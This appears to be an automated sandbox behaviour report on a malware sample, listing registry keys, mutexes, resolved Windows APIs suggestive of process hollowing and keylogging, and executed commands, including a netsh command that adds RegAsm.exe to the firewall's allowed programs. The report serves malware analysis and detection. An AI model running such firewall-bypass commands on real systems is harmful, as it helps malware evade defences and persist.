HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\eapqec.dll,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\eapqec.dll,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\eapqec.dll,-102
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\eapqec.dll,-103

Delete Keys

Nothing to display

Mutexes

Global\CLR_CASOFF_MUTEX
3e2ba6e27f6c302ca8093546541e02ce
Global\.net clr networking

Resolved APIs

advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
advapi32.dll.EventRegister
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
clr.dll.SetRuntimeInfo
clr.dll._CorExeMain
mscoree.dll.CreateConfigStream
mscoreei.dll.CreateConfigStream
kernel32.dll.GetNumaHighestNodeNumber
kernel32.dll.GetSystemWindowsDirectoryW
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddSIDToBoundaryDescriptor
kernel32.dll.CreateBoundaryDescriptorW
kernel32.dll.CreatePrivateNamespaceW
kernel32.dll.OpenPrivateNamespaceW
kernel32.dll.DeleteBoundaryDescriptor
kernel32.dll.WerRegisterRuntimeExceptionModule
kernel32.dll.RaiseException
mscoree.dll.#24
mscoreei.dll.#24
ntdll.dll.NtSetSystemInformation
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
kernel32.dll.GetNativeSystemInfo
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
clrjit.dll.sxsJitStartup
clrjit.dll.getJit
kernel32.dll.CloseHandle
kernel32.dll.GetCurrentProcess
kernel32.dll.LocaleNameToLCID
kernel32.dll.LCIDToLocaleName
kernel32.dll.GetUserPreferredUILanguages
nlssorting.dll.SortGetHandle
nlssorting.dll.SortCloseHandle
kernel32.dll.GetTempPathW
ole32.dll.CoTaskMemAlloc
ole32.dll.CoTaskMemFree
kernel32.dll.GetFullPathNameW
cryptsp.dll.CryptGetDefaultProviderW
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGenRandom
kernel32.dll.SetThreadErrorMode
kernel32.dll.CreateFileW
kernel32.dll.GetFileType
kernel32.dll.WriteFile
kernel32.dll.GetFileAttributesExW
kernel32.dll.GetCurrentDirectoryW
kernel32.dll.GetStdHandle
kernel32.dll.GetEnvironmentStrings
kernel32.dll.GetEnvironmentStringsW
kernel32.dll.FreeEnvironmentStringsW
kernel32.dll.GetACP
kernel32.dll.UnmapViewOfFile
kernel32.dll.CreateProcessW
kernel32.dll.DuplicateHandle
kernel32.dll.GetExitCodeProcess
kernel32.dll.GetFileSize
kernel32.dll.ReadFile
kernel32.dll.DeleteFileW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
kernel32.dll.FindResourceA
kernel32.dll.SizeofResource
kernel32.dll.LoadResource
kernel32.dll.LockResource
gdiplus.dll.GdiplusStartup
kernel32.dll.IsProcessorFeaturePresent
user32.dll.GetWindowInfo
user32.dll.GetAncestor
user32.dll.GetMonitorInfoA
user32.dll.EnumDisplayMonitors
user32.dll.EnumDisplayDevicesA
gdi32.dll.ExtTextOutW
gdi32.dll.GdiIsMetaPrintDC
gdiplus.dll.GdipCreateBitmapFromStream
windowscodecs.dll.DllGetClassObject
kernel32.dll.WerRegisterMemoryBlock
gdiplus.dll.GdipImageForceValidation
gdiplus.dll.GdipGetImageRawFormat
gdiplus.dll.GdipGetImageWidth
gdiplus.dll.GdipGetImageHeight
gdiplus.dll.GdipBitmapGetPixel
shell32.dll.SHGetFolderPathW
kernel32.dll.CopyFileW
kernel32.dll.DeleteFileA
kernel32.dll.WideCharToMultiByte
kernel32.dll.LoadLibraryA
kernel32.dll.GetProcAddress
kernel32.dll.GetModuleHandleA
advapi32.dll.LookupPrivilegeValueW
advapi32.dll.AdjustTokenPrivileges
ntdll.dll.NtQuerySystemInformation
kernel32.dll.CreateProcessA
kernel32.dll.GetThreadContext
kernel32.dll.Wow64GetThreadContext
kernel32.dll.SetThreadContext
kernel32.dll.Wow64SetThreadContext
kernel32.dll.ReadProcessMemory
kernel32.dll.WriteProcessMemory
ntdll.dll.NtUnmapViewOfSection
kernel32.dll.VirtualAllocEx
kernel32.dll.ResumeThread
ole32.dll.CoUninitialize
oleaut32.dll.#500
gdiplus.dll.GdipDisposeImage
cryptsp.dll.CryptReleaseContext
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx
kernel32.dll.QueryActCtxW
advapi32.dll.EventUnregister
kernel32.dll.GetProcessPreferredUILanguages
kernel32.dll.GetUserDefaultUILanguage
version.dll.GetFileVersionInfoSizeA
version.dll.GetFileVersionInfoA
version.dll.VerQueryValueA
alink.dll.CreateALink
mscoree.dll.CLRCreateInstance
mscoreei.dll.CLRCreateInstance
cryptsp.dll.CryptAcquireContextA
cryptsp.dll.CryptCreateHash
cryptsp.dll.CryptHashData
cryptsp.dll.CryptGetHashParam
cryptsp.dll.CryptDestroyHash
clr.dll.DllGetClassObjectInternal
clr.dll.StrongNameTokenFromPublicKey
clr.dll.StrongNameFreeBuffer
clr.dll.CompareAssemblyIdentityWithConfig
clr.dll.CreateAssemblyConfigCookie
clr.dll.DestroyAssemblyConfigCookie
clr.dll.CreateAssemblyNameObject
cryptsp.dll.CryptImportKey
cryptsp.dll.CryptExportKey
cryptsp.dll.CryptDestroyKey
mscorpehost.dll.InitializeSxS
mscorpehost.dll.CreateICeeFileGen
mscorpehost.dll.DestroyICeeFileGen
ole32.dll.CoCreateGuid
diasymreader.dll.DllGetClassObject
rpcrt4.dll.UuidCreate
kernel32.dll.NlsGetCacheUpdateCount
ole32.dll.CreateStreamOnHGlobal
mscoree.dll.CorExitProcess
mscoreei.dll.CorExitProcess
kernel32.dll.InitializeCriticalSectionAndSpinCount
msvcrt.dll._set_error_mode
msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z
kernel32.dll.FindActCtxSectionStringW
mscorwks.dll._CorExeMain
mscorwks.dll.GetCLRFunction
advapi32.dll.RegisterTraceGuidsW
advapi32.dll.UnregisterTraceGuids
advapi32.dll.GetTraceLoggerHandle
advapi32.dll.GetTraceEnableLevel
advapi32.dll.GetTraceEnableFlags
advapi32.dll.TraceEvent
mscoree.dll.IEE
mscoreei.dll.IEE
mscorwks.dll.IEE
mscoree.dll.GetStartupFlags
mscoreei.dll.GetStartupFlags
mscoree.dll.GetHostConfigurationFile
mscoreei.dll.GetHostConfigurationFile
mscoreei.dll.GetCORVersion
mscoree.dll.GetCORSystemDirectory
mscoreei.dll.GetCORSystemDirectory_RetAddr
ntdll.dll.RtlUnwind
kernel32.dll.IsWow64Process
kernel32.dll.AddVectoredContinueHandler
kernel32.dll.RemoveVectoredContinueHandler
advapi32.dll.ConvertSidToStringSidW
kernel32.dll.GetWriteWatch
kernel32.dll.ResetWriteWatch
kernel32.dll.CreateMemoryResourceNotification
kernel32.dll.QueryMemoryResourceNotification
uxtheme.dll.ThemeInitApiHook
user32.dll.IsProcessDPIAware
kernel32.dll.GetVersionExW
advapi32.dll.CryptAcquireContextA
advapi32.dll.CryptReleaseContext
advapi32.dll.CryptCreateHash
advapi32.dll.CryptDestroyHash
advapi32.dll.CryptHashData
advapi32.dll.CryptGetHashParam
advapi32.dll.CryptImportKey
advapi32.dll.CryptExportKey
advapi32.dll.CryptGenKey
advapi32.dll.CryptGetKeyParam
advapi32.dll.CryptDestroyKey
advapi32.dll.CryptVerifySignatureA
advapi32.dll.CryptSignHashA
advapi32.dll.CryptGetProvParam
advapi32.dll.CryptGetUserKey
advapi32.dll.CryptEnumProvidersA
mscoree.dll.GetMetaDataInternalInterface
mscoreei.dll.GetMetaDataInternalInterface
mscorwks.dll.GetMetaDataInternalInterface
cryptsp.dll.CryptVerifySignatureA
mscorjit.dll.getJit
kernel32.dll.lstrlen
kernel32.dll.lstrlenW
advapi32.dll.RegSetValueExW
kernel32.dll.ReleaseMutex
kernel32.dll.CreateMutexW
user32.dll.SendMessageTimeoutA
kernel32.dll.GetStartupInfoW
kernel32.dll.WaitForSingleObject
kernel32.dll.SwitchToThread
kernel32.dll.SetErrorMode
mscoreei.dll.LoadLibraryShim
culture.dll.ConvertLangIdToCultureName
user32.dll.GetAsyncKeyState
user32.dll.RegisterWindowMessageW
user32.dll.GetKeyState
user32.dll.GetKeyboardState
user32.dll.MapVirtualKeyA
user32.dll.GetForegroundWindow
user32.dll.GetWindowThreadProcessId
user32.dll.GetKeyboardLayout
user32.dll.ToUnicodeEx
kernel32.dll.GetCurrentThread
kernel32.dll.GetCurrentThreadId
user32.dll.GetSystemMetrics
kernel32.dll.GetModuleHandleW
user32.dll.DefWindowProcW
gdi32.dll.GetStockObject
user32.dll.RegisterClassW
user32.dll.CreateWindowExW
user32.dll.SetWindowLongW
user32.dll.GetWindowLongW
user32.dll.CallWindowProcW
user32.dll.GetClientRect
user32.dll.GetWindowRect
user32.dll.GetParent
ole32.dll.OleInitialize
ole32.dll.CoRegisterMessageFilter
user32.dll.PeekMessageW
mscoree.dll.ND_RI2
mscoreei.dll.ND_RI2
ws2_32.dll.WSAStartup
ws2_32.dll.WSASocketW
ws2_32.dll.setsockopt
ws2_32.dll.WSAEventSelect
ws2_32.dll.ioctlsocket
ws2_32.dll.closesocket
kernel32.dll.GetCurrentProcessId
kernel32.dll.GetComputerNameW
advapi32.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW
kernel32.dll.LocalFree
kernel32.dll.CreateFileMappingW
kernel32.dll.MapViewOfFile
kernel32.dll.VirtualQuery
advapi32.dll.CreateWellKnownSid
kernel32.dll.OpenMutexW
kernel32.dll.OpenProcess
kernel32.dll.GetProcessTimes
ws2_32.dll.getaddrinfo
ws2_32.dll.freeaddrinfo
ws2_32.dll.WSAConnect
kernel32.dll.FormatMessageW
kernel32.dll.GetProcessWorkingSetSize
kernel32.dll.SetProcessWorkingSetSize
ws2_32.dll.shutdown
user32.dll.GetWindowTextLengthA
user32.dll.GetWindowTextA
advapi32.dll.RegCreateKeyExW
rasmontr.dll.InitHelperDll
nshwfp.dll.InitHelperDll
dhcpcmonitor.dll.InitHelperDll
wshelper.dll.InitHelperDll
nshhttp.dll.InitHelperDll
fwcfg.dll.InitHelperDll
authfwcfg.dll.InitHelperDll
ifmon.dll.InitHelperDll
netiohlp.dll.InitHelperDll
whhelper.dll.InitHelperDll
hnetmon.dll.InitHelperDll
rpcnsh.dll.InitHelperDll
dot3cfg.dll.InitHelperDll
napmontr.dll.InitHelperDll
nshipsec.dll.InitHelperDll
p2pnetsh.dll.InitHelperDll
wlancfg.dll.InitHelperDll
peerdistsh.dll.InitHelperDll
cryptsp.dll.CryptEnumProvidersW
user32.dll.LoadStringW
sechost.dll.OpenSCManagerW
sechost.dll.OpenServiceW
sechost.dll.QueryServiceConfigW
sechost.dll.CloseServiceHandle
sechost.dll.QueryServiceStatus
sechost.dll.LookupAccountNameLocalW
advapi32.dll.LookupAccountSidW
sechost.dll.LookupAccountSidLocalW
rpcrtremote.dll.I_RpcExtInitializeExtensionPoint
httpapi.dll.HttpInitialize
userenv.dll.RegisterGPNotification
userenv.dll.UnregisterGPNotification
gpapi.dll.RegisterGPNotificationInternal
bcryptprimitives.dll.GetHashInterface
bcryptprimitives.dll.GetCipherInterface
kernel32.dll.SetThreadUILanguage
mprmsg.dll.MprmsgGetErrorString
httpapi.dll.HttpTerminate
gpapi.dll.UnregisterGPNotificationInternal
oleaut32.dll.#9
comctl32.dll.#388

Execute Commands

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Seven01\AppData\Local\Temp\cyht5al0.cmdline"
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Seven01\AppData\Local\Temp\RESECFF.tmp" "c:\Users\Seven01\AppData\Local\Temp\CSC3A809A2B44484182861B854CE8C593E.TMP"
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe" "RegAsm.exe" ENABLE

Started Services

Nothing to display

Created Services

Nothing to display
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven03_64 Seven03_64 VirtualBox 2018-04-13 16:25:46 2018-04-13 16:28:39 173

1 HTTP Request(s) detected

http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
  • Hostname: www.download.windowsupdate.com
  • IP Address: 68.232.34.240
  • Port: 80
  • Count: 1

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1
Cache-Control: max-age = 86400
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: www.download.windowsupdate.com

#infosec #automation

TheSystem Itself @ 2018-04-13 16:27:07